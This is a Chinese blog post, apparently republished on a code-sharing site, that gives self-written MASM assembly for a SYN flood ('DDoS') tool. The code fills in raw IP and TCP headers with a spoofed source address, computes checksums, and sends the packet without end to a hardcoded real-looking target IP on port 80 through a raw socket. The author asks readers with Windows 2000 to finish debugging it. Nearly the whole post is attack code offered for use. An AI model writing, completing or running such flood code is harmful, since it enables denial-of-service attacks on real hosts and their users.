自己用汇编写的一个SYN攻击软件,俗称DDOS攻击

来源:互联网 发布:在淘宝网上买茶可靠吗 编辑:程序博客网 时间:2024/04/20 12:06

由于本人使用的是XP SP3版本,此版本关闭了发送原始套接字的功能,所以没有最后调试成功。

有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我,调试时可用科来软件嗅探数据包。

.386
.model flat, stdcall
option casemap :none
include   windows.inc
include   user32.inc
includelib user32.lib
include   kernel32.inc
includelib kernel32.lib
include   wsock32.inc
includelib wsock32.lib

;;IP数据包头部结构定义
ip_head struct
h_lenver db ? ;4位IP版本号+4位首部长度
TOS   db ? ;8位服务类型
ip_len dw ? ;16位IP+TCP数据包总长度
ident   dw ? ;16位标识
frag_and_flags dw ? ;3位分片标志+13位分片偏移
ttl   db ? ;8位生存时间
proto1 db ? ;8位协议类型
checksum dw ? ;16位校验和
sourceIP dd ? ;32位源IP
destIP dd ? ;32位目的IP
ip_head ends

;;TCP头部结构定义
tcp_head struct
th_sport   dw ? ;16位源端口
th_dport   dw ? ;16位目的端口
th_seq   dd ? ;32位序列号
th_ack   dd ? ;32位确认号
th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位,因6位保留为0,为了定义方便所以填充时可按8位填充两个字段
th_flag   db ? ;6位标志位
th_win   dw ? ;16位窗口大小
th_sum   dw ? ;16位校验和
th_urp   dw ? ;16位紧急数据偏移量
tcp_head ends

;;伪TCP头部结构定义,伪TCP头部是用来求效验和的
wtcp_h struct
saddr   dd ? ;32位IP头部里的源地址
daddr   dd ? ;32位IP头部里的目的地址
mbz   db ? ;8位全0
ptcl   db ? ;8位协议类型,TCP是6
tcpl   dw ? ;16位TCP总长度
wtcp_h ends

.data?
s dd ?
SendBuf db 64 dup (?) ;缓冲区
Sendlen dd ?   ;缓冲区有效长度
stWsa   WSADATA <>
stsin   sockaddr_in <>
iphead ip_head <>
tcphead tcp_head <>
wtcp   wtcp_h <>

.data
flag db TRUE

.const
syn_s db '58.30.17.108',0 ;攻击目标地址
syn_c db '10.1.1.100',0 ;攻击源地址
ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度

.code
;求校验和的子程序,参数一是缓冲区地址,参数二是缓冲区有效长度
_checksum proc uses ebx ecx edi lp,sum
local @szBuffer[64]:byte
mov esi,lp   ;内存拷贝代码开始
lea edi,@szBuffer
mov ecx,sum   ;大小
cld
rep movsb   ;内存拷贝代码结束
xor eax,eax
xor ebx,ebx
   xor ecx,ecx
lea edi,@szBuffer
mov ax,[edi]
clc
.while ebx<sum
   add ebx,2
   .break .if ebx == sum
   mov cx,[ebx+edi]
   add ax,cx
   .if CARRY?
    add ax,1
    clc
   .endif
.endw
not ax
ret
_checksum endp

start:
;填充IP首部
mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度,步长4字节共20字节
mov iphead.TOS,0 ;8位服务类型
mov iphead.ip_len,ip_len ;16位IP+TCP总长度
invoke htons,iphead.ip_len ;转换为网络顺序
mov iphead.ip_len,ax
mov iphead.ident,1 ;16位标识,此数值为不固定数值,一般为网卡总发包数
xor eax,eax
mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0
mov iphead.ttl,128 ;8位生存时间
mov iphead.proto1,6 ;8位协议类型.6为TCP
mov iphead.checksum,0 ;16位校验和,计算前必须为0
invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序
mov iphead.sourceIP,eax   ;转换后的IP地址保存到结构里
invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序
mov iphead.destIP,eax   ;转换后的IP地址保存到结构里
;填充TCP首部
invoke htons,8000
mov tcphead.th_sport,ax ;16位源端口
invoke htons,80
mov tcphead.th_dport,ax ;16位目的端口
invoke htonl,1000
mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数
mov tcphead.th_ack,0 ;32位确认号,第一次握手为0
mov tcphead.th_lenres,80
mov tcphead.th_flag,2 ;6位标志位,syn
invoke htons,65535
mov tcphead.th_win,ax ;16位窗口大小
mov tcphead.th_sum,0 ;16位校验和,计算前必须为0
mov tcphead.th_urp,0 ;16位紧急数据偏移量
;填充伪TCP首部
push iphead.sourceIP
pop wtcp.saddr ;32位IP头部里的源地址
push iphead.destIP
pop wtcp.daddr ;32位IP头部里的目的地址
mov wtcp.mbz,0 ;8位全0
mov wtcp.ptcl,6 ;8位协议类型,TCP是6
mov ax,sizeof ip_head
invoke htons,ax
mov wtcp.tcpl,ax ;16位TCP总长度
;IP和TCP校验和计算
mov esi,offset wtcp   ;将tcp伪首部拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof wtcp   ;大小为sizeof wtcp
cld
rep movsb   ;内存拷贝代码结束
mov esi,offset tcphead   ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面
mov ecx,sizeof tcphead   ;大小为sizeof tcphead
cld
rep movsb   ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和
mov tcphead.th_sum,ax
xor eax,eax ;缓冲区清0
mov edi,offset SendBuf
mov ecx,sizeof SendBuf
cld
rep stosb ;清0结束
mov esi,offset iphead   ;将iphead(IP首部)拷贝到
mov edi,offset SendBuf ;缓冲区SendBuf处
mov ecx,sizeof iphead   ;大小为sizeof iphead
cld
rep movsb   ;内存拷贝代码结束
mov esi,offset tcphead   ;将tcp首部拷贝到
mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面
mov ecx,sizeof tcphead   ;大小为sizeof tcphead
cld
rep movsb   ;内存拷贝代码结束
invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和
mov iphead.checksum,ax   ;IP首部效验和保存到结构里
;初始化SOCKET并发送数据
invoke inet_addr,addr syn_s   ;转换IP地址为网络顺序
mov stsin.sin_addr,eax   ;转换后的IP地址保存到结构里
mov stsin.sin_family,AF_INET
invoke htons,80   ;把端口转换为网络顺序
mov stsin.sin_port,ax   ;转换后端口保存到结构里
invoke WSAStartup,2h,addr stWsa   ;装载SOCKET
invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式
mov s,eax   ;保存初始化成功的句柄
invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag
invoke WSAGetLastError
.while 1
   invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in   ;发送缓存里的字符到服务器
.endw
invoke closesocket,s   ;关闭SOCKET
invoke WSACleanup   ;卸载SOCKET
invoke ExitProcess,NULL   ;程序退出
end start

0 0